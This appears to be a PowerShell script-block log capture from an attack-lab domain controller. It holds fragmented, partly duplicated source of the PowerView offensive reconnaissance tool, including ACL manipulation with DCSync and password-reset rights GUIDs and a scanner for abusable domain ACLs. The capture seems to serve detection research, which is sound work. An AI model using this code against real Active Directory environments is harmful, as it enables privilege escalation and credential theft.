if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
# ongoing list of built-up SIDs
$ResolvedSIDs = @{}
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
else {
d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x0807371Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11{
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
else {
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
# "IdentityReferenceDN: $IdentityReferenceDN"
if ($IdentityReferenceDN) {
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# "IdentityReferenceDomain: $IdentityReferenceDomain"
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match 'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match 'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
}
}
}
}
}970914ce-fa09-4faf-858c-9973111b11cbC:\tools\PowerSploit\Recon\PowerView.ps1
4104152150x0807360Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Find-InterestingDomainAcl05e583d6-2ed5-4bab-be45-ebba1c298abb
4104132150x0715350Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5555api32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715319Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2455yIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
}
}
}
}
}
}
}
function Get-DomainOU {
<#
.SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all OU objects for
the current domain are returned.
.PARAMETER Identity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
.PARAMETER GPLink
Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainOU
Returns the current OUs in the domain.
.EXAMPLE
Get-DomainOU *admin* -Domain testlab.local
Returns all OUs with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all OUs with linked to the specified group policy object.
.EXAMPLE
"*admin*","*server*" | Get-DomainOU
Search for OUs with the specific names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainOU -Credential $Cred
.OUTPUTS
PowerView.OU
Custom PSObject with translated OU property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
}
}
$OUSearcher.dispose()
}
}
}
function Get-DomainSite {
<#
.SYNOPSIS
Search for all sites or specific site objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all site objects for
the current domain are returned.
.PARAMETER Identity
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER GPLink
Only return sites with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSite
Returns the current sites in the domain.
.EXAMPLE
